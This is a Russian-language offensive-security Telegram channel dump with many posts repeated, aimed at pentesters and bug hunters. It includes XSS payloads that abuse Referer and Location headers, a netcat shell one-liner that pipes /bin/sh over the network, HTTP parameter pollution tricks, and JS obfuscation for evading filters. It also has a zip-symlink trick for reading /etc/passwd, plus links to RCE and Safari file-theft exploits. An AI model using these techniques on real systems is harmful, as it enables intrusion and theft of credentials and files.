Вжух и Apache Struts снова с уязвимостью выполнения произвольного кода!
https://github.com/luc10/struts-rce-cve-2017-9805
https://github.com/wvu-r7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb
https://github.com/luc10/struts-rce-cve-2017-9805
https://github.com/wvu-r7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb
GitHub
GitHub - luc10/struts-rce-cve-2017-9805: CVE 2017-9805
CVE 2017-9805. Contribute to luc10/struts-rce-cve-2017-9805 development by creating an account on GitHub.
XSS атаки с помощью Referer'а
Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:
Поэтому если сайт тупо вставляет содержимое заголовка
Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.
С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.
Для этого достаточно создать html страничку с подобным содержимым:
#xss #referer
Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:
'
в %27
"
в %22
<
и >
в %3C
и %3E
соответственно. Поэтому если сайт тупо вставляет содержимое заголовка
Referer
не декодируя ссылку, то с этим все сложно.Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.
С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.
Для этого достаточно создать html страничку с подобным содержимым:
<script>
window.history.replaceState('', '', "/hello'-alert()-'/");
location.href="//vulnerabledomain/"
</script>
#xss #referer
Кавычка
XSS атаки с помощью Referer'а Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:…
Более того, Internet Explorer - имеет забавную особенность, если перенаправить пользователя с помощью заголовка
Может кому-то пригодится в bugbounty :)
#xss #bugbounty
Location: http://mysite/"><script>alert()</script>/
, то путь также не будет преобразовываться в urlencode.Может кому-то пригодится в bugbounty :)
#xss #bugbounty
Кавычка
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером. Для того,…
Дополнение от Heartless'а.
Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.
Проверка наличия открытого TCP-порта 12345
Сканирование TCP-портов с помощью netcat:
Отправка UDP:
Прием данных на UDP-порту и вывод принятых данных:
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать
Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:
А также "ncat -e"
Перенаправление портов
И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.
Проверка наличия открытого TCP-порта 12345
MacOS $ nc -v -G2 192.168.1.100 12345
Linux $ nc -v -w2 192.168.1.100 12345
Сканирование TCP-портов с помощью netcat:
MacOS $ nc -G2 -vz 192.168.1.100 20-24
Linux $ nc -w2 -vz 192.168.1.100 20-24
Отправка UDP:
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
Прием данных на UDP-порту и вывод принятых данных:
$ nc -v -u localhost 7777
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать
nc -lkv 0 7777
Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0 1234 > /tmp/f
А также "ncat -e"
Перенаправление портов
MacOS $ nc 127.0.0.1 22 <&1 | nc -lvk 3333 >&0
Linux $ mkfifo /tmp/bp; nc -lvk 12345 0</tmp/bp | nc 127.0.0.1 22 1>/tmp/bp
И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
Habr
Полезные трюки при работе с netcat
В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней. Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и...
Помнишь что такое Http Parameter Pollution?
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра
На странице покажет
А если передадим несколько параметров с одним именем
На страницу попадет
Так о чем это я
В
Еще нет такого плагина для burp suite? 🤔
#XSS #IIS #ASP
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра
id
на страницу:site.com/page.asp?id=AA
На странице покажет
<input name="id" value="AA">
А если передадим несколько параметров с одним именем
site.com/page.asp?id=AA&id=BB&id=CC
На страницу попадет
<input name="id" value="AA, BB, CC">
Так о чем это я
В
ASP/ASP.NET
часто бывает, что фильтрация пользовательских данных происходит только в первом элементе, поэтому важно попробовать дублировать параметры запроса и передавать атакующие пэйлоады уже туда.Еще нет такого плагина для burp suite? 🤔
#XSS #IIS #ASP
Вот и новая уязвимость с именем подъехала - BlueBorne. Получи контроль над миллиардами (!) устройств по всему миру B-)
https://boingboing.net/2017/09/12/turn-bluetooth-off.html
https://www.armis.com/blueborne/
http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf
https://boingboing.net/2017/09/12/turn-bluetooth-off.html
https://www.armis.com/blueborne/
http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf
Boing Boing
Blueborne is a newly revealed Bluetooth attack that allows wireless penetration of billions of devices
Security research firm Armis has disclosed eight new Bluetooth vulnerabilities it collectively calls “Blueborne” that take less than 10 seconds to penetrate and take over device with Bl…
Используем (костыли) виртуалку (назовем ее proxyhost) для доступа в интернет с удаленной машины за натом.
На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.
На клиенте (кому интернет), пишем следующее заклинание:
Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).
В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).
На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
ssh proxyhost -R 2222:localhost:22
Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.
На клиенте (кому интернет), пишем следующее заклинание:
ssh -t -L 8888:localhost:8888 proxyhost ssh guest@localhost -p 2222 -D 8888
Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).
В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).
This media is not supported in your browser
VIEW IN TELEGRAM
В burp suite обнаружена уязвимость выполнения произвольного кода. Ты пытаешься атаковать сайт, а сайт атакует тебя)
Полезные плагины для Chrome
Vulners Web Scanner
Сканер уязвимостей на основе версий используемого софта на сайте
https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd
HTML5 Storage Manager All in One
Позволяет редактировать Cookie, Local Storage и indexedDB сайтов
https://chrome.google.com/webstore/detail/html5-storage-manager-all/giompennnhheakjcnobejbnjgbbkmdnd
Chrome HTTP Monitor
Показывает заголовки и время загрузки сайта
https://chrome.google.com/webstore/detail/chrome-http-monitor/maceikgnmfpfbciilpapjdogebnanahg
Wappalyzer
Определяет используемые на сайте CMS, JS библиотеки. Не забудь отключить анонимную стучалку в настройках
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg
Shodan
Удобен тем, что позволяет посмотреть не только открытые порты, но и страну и организацию ip домена
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap
Clickjacking Test
Ничего сложного, просто открывает сайт в фрейме и позволяет сгенерить простой PoC для сайтов без X-Frame-Options
https://chrome.google.com/webstore/detail/clickjacking-test/bjhigladkmnpmglhcnpeiplekpanekpi
FoxyProxy Basic
Создаешь профили с различными настройками прокси и быстро переключаешься между ними
https://chrome.google.com/webstore/detail/foxyproxy-basic/dookpfaalaaappcdneeahomimbllocnb
Vulners Web Scanner
Сканер уязвимостей на основе версий используемого софта на сайте
https://chrome.google.com/webstore/detail/vulners-web-scanner/dgdelbjijbkahooafjfnonijppnffhmd
HTML5 Storage Manager All in One
Позволяет редактировать Cookie, Local Storage и indexedDB сайтов
https://chrome.google.com/webstore/detail/html5-storage-manager-all/giompennnhheakjcnobejbnjgbbkmdnd
Chrome HTTP Monitor
Показывает заголовки и время загрузки сайта
https://chrome.google.com/webstore/detail/chrome-http-monitor/maceikgnmfpfbciilpapjdogebnanahg
Wappalyzer
Определяет используемые на сайте CMS, JS библиотеки. Не забудь отключить анонимную стучалку в настройках
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg
Shodan
Удобен тем, что позволяет посмотреть не только открытые порты, но и страну и организацию ip домена
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap
Clickjacking Test
Ничего сложного, просто открывает сайт в фрейме и позволяет сгенерить простой PoC для сайтов без X-Frame-Options
https://chrome.google.com/webstore/detail/clickjacking-test/bjhigladkmnpmglhcnpeiplekpanekpi
FoxyProxy Basic
Создаешь профили с различными настройками прокси и быстро переключаешься между ними
https://chrome.google.com/webstore/detail/foxyproxy-basic/dookpfaalaaappcdneeahomimbllocnb
Google
Vulners Web Scanner - Chrome Web Store
Tiny vulnerability scanner based on vulners.com vulnerability database. Passively scan websites while you surf internet!
Забавная смесь логических ошибок превращается в обход SOP браузера. Заходишь по ссылке - данные любых сайтов улетают злоумышленнику (UXSS). Обновляйтесь!
https://github.com/Bo0oM/CVE-2017-7089
https://github.com/Bo0oM/CVE-2017-7089
Многие тулзы, например nmap, требуют рута для нормальной работы. Но если тебе надоело писать каждый раз sudo и не хочется раскидываться suid'ами, то можно воспользоваться linux capabilities и выдать только определённые привилегии.
Для Nmap надо выставить следующие :
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
и добавить в переменные окружения (в ~/.bashrc, например):
export NMAP_PRIVILEGED=""
Для ncat требуется:
sudo setcap cap_net_bind_service+eip /usr/bin/ncat
Для Wireshark:
setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap
Плюс возможно добавить прав на исполнение:
sudo chmod o+x /usr/bin/dumpcap
После этого тулзы можно запускать без sudo, под обычным юзером
Для Nmap надо выставить следующие :
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
и добавить в переменные окружения (в ~/.bashrc, например):
export NMAP_PRIVILEGED=""
Для ncat требуется:
sudo setcap cap_net_bind_service+eip /usr/bin/ncat
Для Wireshark:
setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap
Плюс возможно добавить прав на исполнение:
sudo chmod o+x /usr/bin/dumpcap
После этого тулзы можно запускать без sudo, под обычным юзером
Кавычка
Предательство Safari. Чтение локальных файлов с дальнейшей отправкой на сервер помощью html документа. https://xakep.ru/2017/07/06/safari-localfile-read/ https://github.com/Bo0oM/Safiler
Помните, как мы пробовали читать локальные файлы в Safari?
Оказывается, есть еще одна особенность этого замечательного браузера! Если файл скачан из интернета - читать файлы напрямую нельзя. Но не совсем. Ведь скачанным файлом можно создать еще один html файл (который появится рядом с оригинальным) и открыть на него фрейм!
Вот демонстрация эксплойта, в котором пользователю отдается html файл, если открыть его в Safari, будет попытка слить всякие логины/пароли на локальные сервер (в консоле будут соответствующие ошибки, а если запустить оригинальный python сервер, файлы появятся в соответствующей папке).
Демонстрация:
https://bo0om.ru/safari_poc/
Оказывается, есть еще одна особенность этого замечательного браузера! Если файл скачан из интернета - читать файлы напрямую нельзя. Но не совсем. Ведь скачанным файлом можно создать еще один html файл (который появится рядом с оригинальным) и открыть на него фрейм!
Вот демонстрация эксплойта, в котором пользователю отдается html файл, если открыть его в Safari, будет попытка слить всякие логины/пароли на локальные сервер (в консоле будут соответствующие ошибки, а если запустить оригинальный python сервер, файлы появятся в соответствующей папке).
Демонстрация:
https://bo0om.ru/safari_poc/
Любую функцию javascript можно выполнить без использования каких-либо букв.
1) http://utf-8.jp/public/jjencode.html
Позволяет генерировать функции из спецсимволов.
2) http://www.jsfuck.com/
Если количество используемых символов ограничено (например не пускает
3) https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
А когда запрещено использовать скобки, поможет этот ресурс. Он может преобразовать js в последовательность сиволов
Единственный минус - вектор становится большим. Если в jjencode
1) http://utf-8.jp/public/jjencode.html
Позволяет генерировать функции из спецсимволов.
2) http://www.jsfuck.com/
Если количество используемых символов ограничено (например не пускает
\
) jsfuck позволяет создать пэйлоад с использованием только символов ()+[]!
.3) https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
А когда запрещено использовать скобки, поможет этот ресурс. Он может преобразовать js в последовательность сиволов
[+|>]
.Единственный минус - вектор становится большим. Если в jjencode
alert()
- 524 символа, в jsfuck становится размером в 1219 символов, то в 5chars он становится просто огромным - 61827 символов.Jsfuck
JSFuck - Write any JavaScript with 6 Characters: []()!+
JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to execute code.
Дали две CVE через... Twitter
https://nvd.nist.gov/vuln/detail/CVE-2017-5246
https://nvd.nist.gov/vuln/detail/CVE-2017-5247
А что, так можно было?
https://nvd.nist.gov/vuln/detail/CVE-2017-5246
https://nvd.nist.gov/vuln/detail/CVE-2017-5247
А что, так можно было?
@GeoPhotoBot
Поиск фотографий из соцсетей по геопозиции или по ссылке на Яндекс (Google) карте.
Поиск фотографий из соцсетей по геопозиции или по ссылке на Яндекс (Google) карте.
Вжух - стартует ZeroNights HackQuest 2017!
Ссылка как обычно - hackquest.zeronights.org
Первый день начнется с легкого и логически понятного веба (не зря таск называется webpwn), я уверен, что ты справишься %username%.
Ссылка как обычно - hackquest.zeronights.org
Первый день начнется с легкого и логически понятного веба (не зря таск называется webpwn), я уверен, что ты справишься %username%.
В операционных системах существуют символический ссылки. Это специальные файлы, в которых вместо собственных данных ссылка на содержимое другого файла.
Чтобы создать такую ссылку в unix - достаточно ввести команду
Теперь, обращаясь к файлу myfile - мы будем обращаться к файлу passwd.
Такую ссылку можно запаковать (например утилитой zip с аргументом --symlinks) и если веб-приложение будет работать с архивами, есть вероятность, что обрабатывать она будет собственные файлы, ссылки на которые были в архиве. Тем самым возможно читать локальные файлы или добиться отказа в обслуживании.
Интересно, а кто-то уже догадался добавлять симлинки в docx 🤔?
Чтобы создать такую ссылку в unix - достаточно ввести команду
ln -s /etc/passwd myfile
Теперь, обращаясь к файлу myfile - мы будем обращаться к файлу passwd.
Такую ссылку можно запаковать (например утилитой zip с аргументом --symlinks) и если веб-приложение будет работать с архивами, есть вероятность, что обрабатывать она будет собственные файлы, ссылки на которые были в архиве. Тем самым возможно читать локальные файлы или добиться отказа в обслуживании.
Интересно, а кто-то уже догадался добавлять симлинки в docx 🤔?
Кавычка
В операционных системах существуют символический ссылки. Это специальные файлы, в которых вместо собственных данных ссылка на содержимое другого файла. Чтобы создать такую ссылку в unix - достаточно ввести команду ln -s /etc/passwd myfile Теперь, обращаясь…
passwd.zip
173 B
Для примера - архив с твоим /etc/passwd ;)